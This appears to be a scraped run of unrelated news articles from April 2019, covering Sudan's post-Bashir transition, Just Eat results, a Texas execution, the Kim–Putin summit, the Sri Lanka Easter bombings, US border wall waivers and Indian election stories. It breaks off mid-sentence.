As a young officer, Mr al-Bashir and his army were groomed and trusted by the Islamist movement, which played a key role in propping him up for years. After leading his coup with a few fellow officers, Mr al-Bashir declared the imposition of Islamic Sharia law. The new rules included stoning and amputations as punishments. The Islamists have not stopped their attempts at regrouping themselves, but they are not capable of standing against the revolution, said Faysal Saleh, a Sudanese journalist. Hence, they are rallying behind the military council. Some see no imminent threat posed by Islamists, arguing they lack a solid support base in todays Sudan. So far these groups are standing alone and people are already resentful of them and hold them responsible for supporting al-Bashirs regime for decades, said Mr Saleh. Expand Close Protesters dance at the sit-in outside the military headquarters (Salih Bashir/AP) / Facebook Twitter Email Whatsapp Protesters dance at the sit-in outside the military headquarters (Salih Bashir/AP) However, if the military and the protesters fail to reach an agreement, the Islamists and the generals could renew their alliance. Earlier on Friday, a military spokesman said the army would retain power during the transitional period and hand over only executive authorities to civilians. The Sudanese Professionals Association and other protest groups had resumed talks with the military council after briefly halting negotiations and accusing the military of stalling on relinquishing its grip following Mr al-Bashirs ousting and arrest on April 11. The SPA, which has spearheaded the four months of protests that toppled Mr al-Bashir after 30 years in power, is demanding an immediate handover of power to civilians. This is disappointing and we did not expect to hear that, said Ahmed Rabie, a leader in the SPA, an umbrella of independent Sudanese unions. For us, this option is completely unacceptable. The protesters say they want a transitional council with limited military representation to run the country, along with an interim Cabinet until a new constitution is drafted. Just Eat has reported a slowdown at its UK business, with the online delivery firm blaming warm weather and the timing of Easter. The group saw UK orders grow 7.4% to 31.9 million in the three months to March 31, compared with growth of 24% in the same period last year. It blamed strong comparative figures, unseasonably warm weather in February, and Easter falling entirely in the second quarter. The firm said it expects an improvement in UK order growth during the remainder of the year. Across the group as a whole, orders were up 21% to 61.4 million, helped by new initiatives and strong international growth. Outside the UK, orders grew by 40% to 29.5 million, fuelled by good growth in Canada, Italy, Switzerland and Ireland. Interim chief executive Peter Duffy said: Just Eat is on the right path to be the leading hybrid marketplace for online food delivery and we are confident in the delivery of our strategy. Many of our international markets have performed very well in the period although, as expected, we saw softer UK order growth in the quarter. We are making good progress and continue to execute at pace. Just Eat reiterated its full-year guidance of revenue in the range of 1 billion to 1.1 billion and earnings of 185 million to 205 million. The food firm has come under intense pressure recently from shareholder Cat Rock, which has ripped into the company over recent board appointments and has ordered it to seek a merger with an industry peer. The group, which owns 2% of Just Eat, has said this would be a better outcome than relying on the board to choose a new chief executive following the departure of Peter Plumb. Alex Captain, Cat Rock managing partner, said on Friday: These results clearly underscore the need for urgent change at Just Eat. The company only grew orders 7% in the UK despite benefiting from delivery investments and its acquisition of HungryHouse. These results are unacceptable given that the average customer still only orders less than once per month in the UK and population penetration is still only about 20%. Global peers are growing much faster in markets with similar levels of frequency and penetration. Just Eat needs a world-class CEO with online food delivery experience, and the board should be actively evaluating a merger with one of the many potential strategic partners available to the Company. Just Eat has instead chosen to focus on its own strategy, investing 51 million last year to help deliver a hybrid strategy. This included 21 million in the UK to help restaurants fulfil deliveries. It is also attempting to keep up with Deliveroo and Uber, which have been muscling in on its territory. Speculation that Uber is in early talks to buy Deliveroo has also recently hit Just Eats shares. Shares sank over 4% to 714p in afternoon trade. The first white man in Texas to be convicted of the murder of a black man has been executed, after 20 years on death row. John William King (44), a self-confessed white supremacist, was put to death in the Texas death chamber in Huntsville with a fatal dose of pentobarbital. He declined to give any last words but prepared a statement in advance, saying: "Capital punishment: them without the capital get the punishment." King, an ex-convict who had decorated his body in racist tattoos - including one of a black man hanging in a noose - was convicted of the murder of 49-year-old James Byrd Jr in the town of Jasper, Texas. King and two other white men attacked Byrd early one Sunday morning in 1998 after offering him a lift home. They beat him, spray-painted his face, chained him to the back of a pick-up truck and dragged him to his death on a back road. Louvon Harris, a sister of Mr Byrd's who planned to attend Wednesday's execution, said King's death would not compare to the way he had tortured her brother. "He's not going through any pain," she said. "He's not chained and bound and dragged on a concrete road, swinging back and forth like a sack of potatoes, or nothing like that. When you look at it at that angle, I don't have sympathy." Less than a year after the killing, King became the first white man in modern Texas history to be sentenced to death for killing a black person. One of his accomplices, Lawrence Russell Brewer, was condemned after him and executed in 2011. Shawn Allen Berry, the third killer, was spared the death penalty but is not up for parole until 2038. Telegraph Media Group Limited [2021] North Korean leader Kim Jong Un told Russian President Vladimir Putin peace and security on the Korean peninsula depended on the United States, warning that a state of hostility could easily return, North Korean media said on Friday. Kim's remarks, at talks with Putin in Vladivostok on Thursday, will likely add to pressure on the United States to be more flexible on a North Korean demand for an easing of international sanctions. A second summit between Kim and U.S. President Donald Trump in Vietnam in February collapsed with no progress on a U.S. demand that the North give up its nuclear programme and a North Korean demand for an easing of sanctions. The North Korean leader has said he would wait until the end of the year for the United States to be more flexible. Expand Close Russian President Vladimir Putin, right, and North Koreas leader Kim Jong Un (Alexander Zemlianichenko/AP) / Facebook Twitter Email Whatsapp Russian President Vladimir Putin, right, and North Koreas leader Kim Jong Un (Alexander Zemlianichenko/AP) "The situation on the Korean peninsula and the region is now at a standstill and has reached a critical point where it may return to its original state as the U.S. took a unilateral attitude in bad faith at the recent second DPRK-U.S. summit talks," North Korea's KCNA reported Kim as saying. The Democratic People's Republic of Korea (DPRK) is North Korea's official name. "The DPRK will gird itself for every possible situation." KCNA quoted Kim as saying. The U.S. State Department did not immediately respond to a request for a comment. William Hagerty, the U.S. ambassador to Japan, told a Washington think-tank that Kims contact with Russia and China was part of an effort to seek relief from international sanctions. "The fact you see Kim Jong Un meeting with Vladimir Putin underscores the fact that the sanctions are working and the sanctions are putting extreme economic pressure on the North Korean regime," Hagerty said. "What we see is an outreach to try to find a way to deal with it. There is a much simpler way to deal with it and that is to denuclearise," he said. He said it was important the international community enforced U.N. sanctions against North Korea that were imposed because of its nuclear and missile programmes. Expand Close Mr Kims second summit with Mr Trump in Hanoi ended without any agreement (AP/Evan Vucci, File) / Facebook Twitter Email Whatsapp Mr Kims second summit with Mr Trump in Hanoi ended without any agreement (AP/Evan Vucci, File) On Friday, Kim joined officials to lay a wreath at a navy memorial at Vladivostok bay. The first face-to-face talks between Putin and Kim, held on an island off the Russian Pacific city, did not appear to yield any major breakthrough. The two discussed ways to promote strategic communication and tactical collaboration in the course of ensuring peace and security on the Korean peninsula and beyond, KCNA said. Putin said he thought a deal on North Korea's nuclear programme was possible and the way to achieve it was to move forward step by step to build trust. But any U.S. security guarantees to North Korea might need to be supported by other nations involved in previous six-way talks on the issue, Putin said. Russia was for years a participant in six-party talks aimed at persuading North Korea to give up its nuclear programme. The talks, which included the two Koreas, the United States, China and Japan, have not been held since 2009. "They only need guarantees about their security. That's it. All of us together need to think about this," Putin told reporters after talks with Kim, referring to North Korea. Such guarantees would have to be international, legally binding, and vouch for North Korea's sovereignty, Putin said. Russia and North Korea agreed to increase cooperation in various areas and Kim invited Putin to visit North Korea, and he accepted, KCNA said. No date was announced. "North Korea seems to be trying to expand its negotiating position with the U.S.," said South Korea's ambassador to the United States, Cho Yoon-je, according to the Yonhap news agency. "The U.S. continues to send a message to North Korea through channels at every level that it is open to dialogue ... The expectation seems to be that the North may respond once the Chairman Kim Jong Un's diplomatic schedule is completed." More than 1,000 pieces of student artwork will be on display, with college representatives on hand to offer guidance to those planning to pursue art as a career and award scholarships to one student from each D300 high school, according to a news release. Students awarded American Academy of Art scholarships at last years D300 Foundation Art Show include Dundee-Crown student Anabell Mora, Jacobs High School Student Mikayla Rea and Margaret Meyer from Hampshire High School. North Korean leader Kim Jong Un looks out from his train as he leaves Russia (Alexander Safronov/AP) North Korean leader Kim Jong Un has boarded his private train and headed back to Pyongyang after directing some harsh criticism at Washington during his first summit with Russian President Vladimir Putin. Mr Kim said the US negotiated in bad faith when he met with President Donald Trump in Hanoi two months ago. Mr Kim left about four and a half hours earlier than planned, Russian news agencies reported. It was not immediately known why he decided to return from Vladivostok early. Expand Close Russian guards pass North Korean leader Kim Jong Uns limousine (Alexander Khitrov/AP) / Facebook Twitter Email Whatsapp Russian guards pass North Korean leader Kim Jong Uns limousine (Alexander Khitrov/AP) Mr Putin, who indicated he may be interested in playing a bigger role in breaking North Koreas stand-off with Washington, had already left for a two-day meeting in Beijing. The Kremlin intends to brief the US on the contents of the summit as soon as the Russian delegation returns to Moscow, deputy foreign minister Sergei Ryabkov told the RIA Novosti news agency. Mr Putin said he will also brief Chinese leaders on his talks with Mr Kim. Before leaving Vladivostok, Mr Kim visited a park near the headquarters of the Russian navys Pacific Fleet for a wreath-laying ceremony that was held two hours later than expected. Expand Close Kim Jong Un attends a wreath-laying ceremony in Vladivostok, Russia (Alexander Khitrov/AP) / Facebook Twitter Email Whatsapp Kim Jong Un attends a wreath-laying ceremony in Vladivostok, Russia (Alexander Khitrov/AP) Mr Kim also had lunch with the local governor and businessmen and women on the outskirts of town before going to the main railway station. Following their talks on Thursday, Mr Putin said Mr Kim is willing to give up nuclear weapons, but only if he gets ironclad security guarantees supported by a multi-national agreement. Mr Kim strongly criticised Washington for taking a unilateral attitude in bad faith at his February meeting with Mr Trump in Hanoi said that caused the diplomatic standstill, North Koreas state-run Korean Central News Agency said on Friday. He also told Mr Putin the situation on the Korean Peninsula has reached a critical point and whether tensions resume will entirely depend on the US future attitude. Expand Close Russian guards officers carry a red carpet past the motorcade of North Korean leader Kim Jong Un (Alexander Khitrov/AP) / Facebook Twitter Email Whatsapp Russian guards officers carry a red carpet past the motorcade of North Korean leader Kim Jong Un (Alexander Khitrov/AP) The agency said Mr Putin credited Mr Kims diplomatic initiatives for stabilising the situation surrounding the peninsula and accepted Mr Kims invitation to visit North Korea at a convenient time. No specific measures from the summit have been reported by either side and the leaders comments suggest there has been no significant shift in Mr Kims basic position. North Korea has all along contended that it needs its nuclear arsenal to defend itself against what it sees as US hostility and wants concrete reassurances of its safety including the removal of the American nuclear threat as an integral part of the denuclearisation of the entire Korean Peninsula. Mr Trump has voiced hope that Mr Putins involvement could help his efforts to get Kim to abandon his nuclear arsenal. But it could also complicate matters, since Moscow has been critical of sanctions on North Korea and has called on Washington to provide more security guarantees. After Thursdays talks, Mr Putin suggested the revival of a multilateral approach to the denuclearisation negotiations. Expand Close North Korean leader Kim Jong Un, left, arrives at the railway station (Alexander Khitrov/AP) / Facebook Twitter Email Whatsapp North Korean leader Kim Jong Un, left, arrives at the railway station (Alexander Khitrov/AP) A similar approach, which Russia participated in, broke down in 2009. Along with a statement of political support, Mr Kim was also looking for some kind of economic support and possibly even a workaround for sanctions that will require more than 10,000 North Korean labourers in Russia to leave by the end of the year. The labourers are a major source of income for North Korea. Mr Putin said they discussed the issue and would find a solution taking into account humanitarian factors, though he did not say what that would be. Expand Close Vladimir Putin will brief US leaders on his talks with Mr Kim (Alexei Nikolsky/AP) / Facebook Twitter Email Whatsapp Vladimir Putin will brief US leaders on his talks with Mr Kim (Alexei Nikolsky/AP) Motorists in the Russian port city breathed a sigh of relief at Mr Kims departure. Traffic in the city of half a million had been severely disrupted since Mr Kims arrival on Tuesday. Just like two days earlier, traffic was completely blocked in the city centre during the send-off ceremony for Mr Kim. Firefighters and investigators search the man-made lake near the village of Mitsero outside of the capital Nicosia (Petros Karadjias/AP) Cyprus police have intensified a search for the remains of more victims at locations where an army officer, who authorities say admitted to killing five women and two girls, allegedly had dumped their bodies. Police said the search will concentrate on a military firing range, a reservoir and a man-made lake near an abandoned mine approximately 20 miles west of the capital Nicosia. On Thursday, the 35-year-old suspect told investigators that he had killed four more people than he had previously admitted to. Expand Close Cypriot investigators and police officers search a field (AP) / Facebook Twitter Email Whatsapp Cypriot investigators and police officers search a field (AP) All the suspects alleged victims are foreign nationals. Police have already found the bodies of a 38-year-old Filipino woman and two as yet unidentified women. Search crews are now looking for the daughter of the 38-year-old, a Romanian mother and daughter and another Filipino woman. Catholic priests walk outside St Sebastians Church which was targeted by bombers (Manish Swarup/AP) There will be no Sunday Masses until further notice after the Easter bombings in Sri Lanka, the Archbishop of Colombo has said. Cardinal Malcolm Ranjith made the comment during a news conference on Friday in the Sri Lankan capital. The cleric appealed for financial support to rebuild the lives of affected people and reconstruct the churches targeted in the Islamic State-claimed suicide bombings, which killed over 250 people on Sunday. The US Embassy in Sri Lanka has warned people to stay away from places of worship this weekend over concerns about possible further attacks. Expand Close A policeman stands guard, as surveyors work at St Sebastians Church (Manish Swarup/AP) / Facebook Twitter Email Whatsapp A policeman stands guard, as surveyors work at St Sebastians Church (Manish Swarup/AP) Sri Lankan officials say they continue to search for suspects in the bombings. The cardinal told journalists that church officials had seen a leaked security document describing Catholic churches and other denominations as major targets for attackers. Expand Close Cardinal Malcolm Ranjith (Manish Swarup/AP) / Facebook Twitter Email Whatsapp Cardinal Malcolm Ranjith (Manish Swarup/AP) He also asked the faithful to stay home for their own safety. We dont want repetitions, said the cardinal in cancelling the services. On Friday, authorities urged Muslims not to hold congregational prayers over fears they might be targeted. However, several mosques did under the protection of security forces. ALBEMARLE - Roger Dick, President & Chief Executive Officer of Uwharrie Capital Corp, announced the planned retirement of Brendan P. Duffey, Chief Operating Officer of Uwharrie Capital Corp and President & CEO of Uwharrie Bank. Duffey will be retiring effective January 2, 2020. Duffey, who joined the company in 2004, holds various C-suite positions with the company and bank. I wish Brendan well in his retirement and want to thank him for his dedication, hard work, and superb contributions to Uwharrie Capital Corp and its subsidiaries, Dicke said. His experience and knowledge were instrumental to the company through the depth of the great recession and helping set a foundation for growth for years to come. I have been truly blessed and am extremely grateful to have been a part of Uwharrie Capital Corp and its unique mission. I would like to thank all the customers, associates, directors and shareholders of our company that Ive had the pleasure of working with over my time at Uwharrie for their trust and support, said Duffey. CONCORD At the April 11 Concord City Council Meeting, Sonya Bost of the Concord Fire Department was surprised with the news that she is the 2019 recipient of the Jo Atwater Continuous Core Values award. After comments from colleagues and community members, City Manager Lloyd Payne presented the award to Bost, which is the city's highest honor for coworkers. The Continuous Core Values award was created in 2003 to recognize one coworker annually who embodies the organizational core values and commitment to serving others in the community. Jo Atwater, who was Concords Human Resources Director until she passed away in 2004, was the first recipient of the award that was named in her honor. At a presentation during the meeting, Customer Service Advancement Team facilitator Cherie Jzar announced Bost as the winner her family, friends, and fire department colleagues filed in the council chambers in a show of support. We love watching as Elgin continues to grow and reinvent itself, and this is just another example of the great things that continue to happen downtown. It was a no-brainer for the council to sign off on this, and heres hoping the payoff will be tenfold. Critics blast DHS environmental waivers that clear way for border wall Cronkite News WASHINGTON The Department of Homeland Security confirmed Wednesday that it will waive dozens of environmental, health and other laws to clear the way for construction on about 58 miles of border barriers, including 12 miles of fencing near Yuma. The move was quickly attacked by lawmakers and environmental activists, who accused the administration of endangering human and wildlife safety to satisfy the nativist rhetoric behind President Donald Trumps vanity wall. The nativist rhetoric coming out of D.C., coming from the Trump administration, is so detached from reality, said Laiken Jordahl with the Center for Biological Diversity. The public lands and the natural beauty that we have along the border are truly is a national treasure that really bring a lot of inspiration and joy to people who visit these areas. But those areas are also where there is an acute and immediate need to construct physical barriers and roads in the vicinity of the border of the United States in order to prevent unlawful entries into the United States in the project area, DHS said in Federal Register notices posted Wednesday. Map of border wall waivers issued by the Department of Homeland Security. Image by Kara Clauser / Center for Biological Diversity Those notices said Acting Secretary Kevin K. McAleenan would invoke the departments authority to waive more than 30 regulations ranging from the Clean Air Act and Safe Drinking Water Act to the Eagle Protection Act and Endangered Species Act to pave the way for border wall projects in Arizona and New Mexico. In order to ensure the expeditious construction of the barriers and roads in the project area, I have determined that it is necessary that I exercise the authority that is vested in me, McAleenan said in the notice. The notices are for 8 miles of wall near Yuma , about 46 near the Columbus Port of Entry in New Mexico , and another 4.1 miles near San Luis . The first two projects would be built in part with Defense Department funds that target drug trafficking. The DHS notice said that there were more than 57,000 immigrants apprehended last year in the Yuma and El Paso sectors of the border where the proposed construction would take place. It also said officers seized more than 23,100 pounds of marijuana, 1,900 pounds of methamphetamine, 420 pounds of cocaine and 142 pounds of heroin there last year. The projects call for replacing existing vehicle and pedestrian barriers with new 18- to 30-foot-high sections of border wall that will further Border Patrols ability to deter and prevent illegal crossings, the notices said. Waiving the regulations will speed the project, but at a cost to the border regions rich biodiversity, something people dont always comprehend, said Jordahl. So often the borderlands are portrayed as this barren desert when in reality the lands are teeming with life, he said, adding that 93 species would be threatened by the border wall. Wildlife is not the only thing that would be harmed. Rep. Raul Grijalva, D-Tucson, said the decision to waive environmental protections would also harm people living on or near the border. The Trump Administration consistently stoops to new lows when it comes to building the Presidents vanity wall even if it endangers the public health of our communities and the environment we call home, Grijalva said in a statement released by his office Wednesday. In the face of an ongoing crisis at our southern border, the challenges confronted each day by @DHSgov law enforcement personnel are critical to our safety & security. Thank you @CBPRGV for allowing me to join your midnight shift near McAllen! pic.twitter.com/P4rBs9YGsR Acting Sec. Kevin McAleenan (@DHSMcAleenan) April 23, 2019 Jordahl, who lives in Tucson, said the excavation for the wall would damage wildlife while the wall itself could disrupt habitats and ecosystems, something someone living far from border communities cannot appreciate. Grijalva echoed that sentiment, accusing Trump of playing political games instead of thinking about locals. President Trump is sending a clear message to border residents: his political agenda is more important than their homes, health, and livelihoods, he said. More from Cronkite News Federal Register Notices Department of Homeland Security Press Releases This story originally appeared on Cronkite News and is published via a Creative Commons license . Cronkite News is produced by the Walter Cronkite School of Journalism and Mass Communication at Arizona State University Join the Conversation Out of many good things that happened in 2o19, the news of Irrfan Khan returning to films is probably on the top. The actor was abroad for a long period of time, where he was getting treated for Cancer. The news in itself was devastating enough and then Irrfan Khan's absence from films just made it more worrisome for all his fans and the people from the film fraternity. However, when he returned to India, everyone was relieved. The actor returned from London last month after undergoing treatment for neuroendocrine tumour. The actor is healthier and fit and is on his toes to fulfill his professional commitments. Just a few days ago, pictures from the first day of the shoot of Angrezi Medium and fans flooded social media with welcome back messages for their favourite actor. Irrfan is currently in Udaipur for the shoot and everyday, the updates from the sets are making way on the internet. Just recently, Khan posed for a picture with Radhika Madan (Who will be playing the role of his daughter) and the entire team of the film and it's perfect! Replacing Saba Qamar , Kareena Kapoor Khan would be seen as Irrfan Khan's wife in the film. On Thursday, an official confirmation was also made. Revealing more about Kareenas character in the film, producer Dinesh Vijan had said, Kareena is a great addition to our franchise! Angrezi medium is a very special film, and Im excited that shes going to be a part of it. We wanted to introduce this character who would be taken forward in the franchisees to come,and shes perfect for it. Here she plays a cop, a role shes actually never done before! We will be shooting in London this June, and it will be great to be back on set with her. The film is slated to release in 2020. Election season is in full swing with most of us already having voted; most others are still waiting our turn. In the worlds biggest democracy, the election season is no less than a festival. The 2019 elections are going to be bigger than the previous years but really, if you think about it, how much do we know about the Indian elections? The truth is that it's a Herculean task that the Election Commission undertakes and after reading these facts, youll realise the amount of effort that goes into organising elections. These interesting facts about the Indian elections may just make you realize why you need to make your vote count this time: 1. Mahant Bharatdas Darshandas is the only voter at the polling station of Banej in Gir. However, theres always a polling booth set up specifically for him which really shows how inclusive Indias democracy is. twitter 2. In the Indian Elections of 2014, NOTA polled 1.1% of the votes, which is over 6 million. wikipedia 3. The 2014 election saw 814.5 million eligible voters and out of these 28,314 identified as transgender. PTI 4. This time around, 900 million people are eligible to vote and if you think about it, the number is very close to the population of Europe and Brazil, combined! wikimediacommons 5. Nearly five million government officials and security forces were deployed in the last election. They used all modes from transportation to be at their station of duty. Hence, they travelled by road, train, helicopter, boat, and also, by foot and when all options were exhausted, they even used elephants. AP 6. 84.3 million Indians are said to be casting their votes for the first time in Lok Sabha polls 2019. wikipedia 7. The EVMs and postal ballot papers are going have the photographs of all the candidates along with their party names and symbols printed. It's happening for the first time at the national level. wikipedia 8. For the first time ever, 12 EVMs will be used at every single polling booth,in the Nizamabad district of Telangana, because a total of 185 candidates are competing. BCCL 9. If you're an eligible voter, you don't exactly need a voter ID. You can use any of the 12 approved identity cards to cast your vote as long as your name appears in the voters' list. Valid documents include Aadhar card, driving licence, PAN card, etc. PTI 10. Electronic Voting Machines were first introduced in 1982 as a trial method but over the years have become an integral part of Indian elections. PTI 11. The first Lok Sabha elections in 1952 cost around Rs 104.5 million and if you think that's a lot, you'd be surprised to know that in the 2014 general elections cost Rs 38.7 billion was the amount of money spent. Reuters The Enforcement Directorate (ED), has recovered Rs 3.28 crores from Punjab National Bank (PNB) scam accused Nirav Modi and his uncle Mehul Choksi after a fleet of luxury cars owned by them were sold in an online auction. A total of 14 luxury cars owned by the duo were put up for auction on Thursday by the Metals & Scrap Trading Corporation. Out of this 10 vehicles of Modi and two of Choksi. All except one Corolla, owned by Modi which had a base price of Rs 3.5 lakh, was sold in the auction. Among the vehicles which were sold, a silver Rolls Royce fetched the maximum at Rs 1.33 crores. Other vehicles that went under the hammer include a Porsche, two Mercedes Benz, a BMW (Rs 9.8 lakh) two Honda Barrios, a Toyota Innova, a Honda CRV, a Toyota Fortuner, a Skoda Superb Elegance, a Toyota Corolla Altis and a Toyota Innova Crysta. BCCL These vehicles were seized by the ED in connection with the fraud case along with other valuables like jewelry and artworks. Earlier in March as many as 57 artworks seized by ED were put at Saffronart Spring Live Auction in Mumbai and it fetched Rs 54.84 Crore for the Government of India. Modi and his uncle and business partner Choksi are accused of defrauding the PNB for Rs 13,570-crore. The duo along with their families had fled the country to evade arrest last year and has not returned to India since. As the battle for the Lok Sabha elections 2019 continues, one of the most talked about issues this year is about women safety. Cutting across age groups and geographic locations, women voters from all over the country have expressed their views on how important an issue it is and how they will prefer to vote for a candidate who will address the women safety than others. 87 percent of the voters that participated in a Facebook poll by Indiatimes also feel that safety of women should be one of the most important topics in the 2019 elections. While every political party has made tall promises on what they plan to do if voted to power, to improve women security, many feel that little has been achieved in that front so far. Though women safety was an issue the country has been struggling with for many years, one of the most high profile incidents that brought it to the public discourse and policy-making was the brutal gang rape and murder of a 23-year-old paramedical student on a moving bus in December 2012. BCCL/ FILE The incident often referred to as 'Nirbhaya case' highlighted how vulnerable women in India are, even in a metro city like Delhi. Following the outrage over the incident, a number of laws were amended and new security measures were announced. But over six years down the line, the family that lived through the harrowing incident feels that politicians have failed to address the issue of women safety. Badri Nath Singh, and Asha Devi, the parents of the victim said that they are tired of parties promising them justice and doing nothing about it. BCCL/ FILE Successive governments have not done enough to implement measures for the safety of women and children who continue to be victims of bestiality, they alleged. "CCTV cameras are yet to be installed... the country is still unsafe, mothers still worry till their daughters return home. People have no faith in the system. All the governments have failed us. I don't feel like voting for any party this time," Asha Devi said. The family also felt that the system has failed to deliver justice to them as the culprits continue to be alive, even years after they were sentenced to death. BCCL/ FILE All parties talk about womens dignity and empowerment but have no road map and they lack the will to do what they promise. At the end of the day, it remains only our pain, our struggle, our battle, and our helplessness, Nath said adding that he doesn't feel like voting this time as his faith in the system has been shaken. Did the National Thowheed Jamath, which was behind the terror attacks in Sri Lanka on Sunday have contacts with organizations and individuals in Tamil Nadu and Kerala, the National Investigation Agency (NIA) is reportedly looking into possible links of Indians to the massacre in Sri Lanka. According to reports, the Sri Lanka Thowheed Jamath (SLTJ) from which the NTJ split from had contacts with organizations in Tamil Nadu the Tamil Nadu Thowheed Jamaath (TNTJ) and Indian Thowheed Jamaath. AFP The Tamil Nadu link first surfaced earlier this month during the interrogation of six youths from Coimbatore in connection with a suspected ISIS link. The ISIS-inspired module was planning to target Hindu leader in South India and was in touch with Zahran Hashim and had even used to circulate his videos on social media. BCCL/ FILE It was during the interrogations the NIA got wind of NTJ's sinister plans to target churches, hotels and the Indian High Commission in Colombo, which was then shared with the Lankan authorities, but they failed to act on the inputs. The NIA believes that Hashim had inspired the Coimbatore ISIS module which was planning to establish an "Islamic State" in the region. They are also reportedly looking into the possible NTJ links in Kerala, from where a number of youths have joined the ISIS. BCCL/ FILE According to The Times of India, the preachings of Hashim some extreme Salafi preachers in Kerala have striking similarities with that of Hashim's. There are also reports of a number of the Malayali ISIS recruits traveling to Sri Lanka. However, until now there has been no clear evidence to establish links the ISIS module in Kerala and the NTJ. Five days after the deadly blasts on Easter Sunday left over 300 persons dead, Sri Lanka released photographs of six suspects, including three women as police intensified search and arrested 16 people, taking the number of those under custody to 76. Read More Here are the top stories of the day: 1. Fugitive Nirav Modi Denied Bail Yet Again By UK Court, Extends His Judicial Custody To May 24 Fugitive businessman Nirav Modi has been denied bail yet again by a London court. The court in process extended till May 24 the judicial custody of fugitive diamantaire Nirav Modi, rejecting his bail plea as it suspected that he could flee Britain and "interfere with witnesses". The Westminster Magistrates' Court ordered the Metropolitan Police to put him under custody till next hearing on May 24. Read More 2. Probe Into Sri Lanka Bombings Lead Indian Investigators To ISIS Modules In Tamil Nadu, Kerala Did the National Thowheed Jamath, which was behind the terror attacks in Sri Lanka on Sunday have contacts with organizations and individuals in Tamil Nadu and Kerala, the National Investigation Agency (NIA) is reportedly looking into possible links of Indians to the massacre in Sri Lanka. Read More 3. Antarctica's Emperor Penguins Face Extinction With No Breeding Ground. Thanks To Global Warming The future of Emperor Penguins, the largest penguin species in the world is looking increasingly bleak after it emerged that thousands of chicks might have been drowned in the sea after their breeding ground collapsed. Read More 4. Number Of Narendra Modis & Rahul Gandhis Will Vote, But They're Not Who You Think They Are On the voters list of Madhya Pradesh, which has 5.14 crore names, there are 13 people named either Rahul Gandhi or Narendra Modi. Interestingly, the eight Rahuls are aged between 18 and 37 years and the five Narendras are between 35 and 58 years of age. Five of the Rahuls are aged below 27. Read More Five days after the deadly blasts on Easter Sunday left over 300 persons dead, Sri Lanka released photographs of six suspects, including three women as police intensified search and arrested 16 people, taking the number of those under custody to 76. Nine suicide bombers, believed to be the members of local Islamist extremist group called National Thowheed Jamath (NTJ), carried out a series of devastating blasts that tore through three churches and three luxury hotels on Easter Sunday. Police released the names and pictures of three men and three women and sought information regarding them from the public. afp Earlier, officials said that with the arrest of 16 more people on Wednesday, the total number of suspects under police custody has risen to 76. The arrested people were being interrogated at length by the investigation sleuths in connection with the bombings. Many of the arrested people have suspected links to the NTJ, the group blamed for the bombings. However, the NTJ has not claimed responsibility for the attacks. The Islamic State has claimed responsibility for the attacks and identified suicide bombers who carried out the devastating blasts. Authorities have deployed thousands of troops to help police carry out search operations. ap Over 5,000 army personnel have been deployed around the country. "During the last 24 hours, there have been no major incidents. We have deployed over 6,300 troops. This includes 1,000 from the Airforce and 600 from the Navy," military spokesman Brigadier Sumith Atapattu said. Meanwhile, a minor explosion happened behind the magistrate's court at Pugoda, the western province town, 40 Kms north of Colombo. The police said that the explosion occurred in a garbage dump and that there were no injuries. A probe has been launched to ascertain the cause. Search operations of suspected properties, arrests and detention of people and to place road blocks for such operations have been facilitated by the newly-enforced emergency regulations. afp The regulations were adopted without a vote in Parliament on Wednesday. The curfew will be imposed at 10 PM. Malcolm Cardinal Ranjith, the head of the local catholic church, has asked all churches to stop masses until the situation improved, his office said. On Wednesday, the Sri Lankan government admitted that "major" intelligence lapses led to the horrific coordinated attacks. (With inputs from agencies) When six-year-old Derek C Lalchhanhima's life saved the life of a chicken he accidentally ran over, he had no idea about the things to follow. It can be said that little Derek has come a long way. From turning in to an Internet sensation overnight to being felicitated by his school, Lalchhanhima has now been awarded the 'Compassionate Kid' award by PETA India. Twitter When Derek accidentally ran over a chick with his bicycle, he rushed home and asked his parents to help the bird. With just Rs 10 in his pocket, the boy rushed to the hospital and begged a nurse, who clicked this adorable picture, to save the chick. And while sadly, the chicken couldn't make it, Derek showed us how a little compassion could make this world a better place. PETA Indias 'Compassionate Citizen' programme is especially designed to help students between the ages of 8 and 12 years. It consists of a 23-minute video with fascinating footage of animals, along with cartoons and a text pack. The image of young Derek holding the dead chick in one hand and the Rs 10 note touched a chord with thousands. As pictures of Derek went viral, an artist from Kerala painted a portrait of Derek standing on the globe with the chicken in one hand and money in other. Sunil Pookode took to Facebook sharing the photo with the caption, "You are great, Derek." Getting two complete strangers to spend the rest of their lives together is a pretty common practice in India. But things are changing now, and some people forced into this kind of a wedlock are protesting in unexpected ways. Case in point: this Jhansi man who literally staged his own abduction to escape a wedding arranged by his family. Reuters According to an HT report, the man identified as Ravi Singh was allegedly planning to marry his long time girlfriend who is a Delhi University student. However, things took a turn for the worst when the 31-year-old software engineer was forced into an arranged marriage. In a bid to escape the wedding, Singh sent a text message to his father and cousin saying he was abducted and demanded a Rs 5 Lakh ransom. Singh, who lived with his friends in the PG, told his friends that he was going to Jhansi for his wedding, after distributing wedding invitations to his colleagues. Muhammad Akil, commissioner of police told TOI that he travelled to different states to stage the entire episode. Picture for representation/Twitter Meanwhile, Singh's mother was so shocked that she was hospitalised and his distraught father reached the Police Station in Gurugram to lodge a complaint. When the police got the case they smelled something fishy while reading into the text and the way the mobile number was being used. Vivek Kundu, station house officer of Sector 18 police station, Gurugram, made police spread out in Chandigarh, Haridwar, Jammu, Delhi and Kurukshetra to track him down according to the phone usage. We're always interested in hearing about news in our community. Let us know what's going on! Go to form Visitation will be at 10 a.m., followed by prayers at 11:45 a.m. at Haben Funeral Home & Crematory in Skokie. A funeral mass will follow at noon at St. Peter Catholic Church in Skokie, according to the obituary from Haben Funeral Home and Crematory. President Muhammadu Buhari has made a donation of $500,000 to the government of Guinea Bissau to fund their soon to hold elections. This was revealed by the Presidency in a series of tweets via its official Twitter handle @NGRPresident on Friday. This follows an urgent request by the countrys government for assistance towards the countrys election. Apart from the cash, Buhari donated 350 units of electoral kits, 10 motorcycles, five Hilux vans, and two light trucks to the country. Tweets read this: The president graciously approved support to the countrys election process, including 350 units of electoral kits, 10 motorcycles, 5 Hilux vans, two light trucks and US$500,000 In his capacity as Chairman, ECOWAS Authority of Heads of State, and had, on Friday morning, directed Minister of Foreign Affairs, Geoffrey Onyeama, to undertake an urgent mission as his Special Envoy to Guinea Bissau, in the company of ECOWAS Commission President, Jean-Claude Brou. This vital assistance ensured that legislative elections held in Guinea Bissau, which should help in stabilizing the country. Senator Dino Melaye has called out online media, Sahara Reporters, over what he tags as fake news on the report that he just acquired three G-Wagons during the week. Senator Dino Melaye in a tweet via his Twitter handle wrote, Sahara liars again. My 2 bullet proof G Wagon cars I got 4 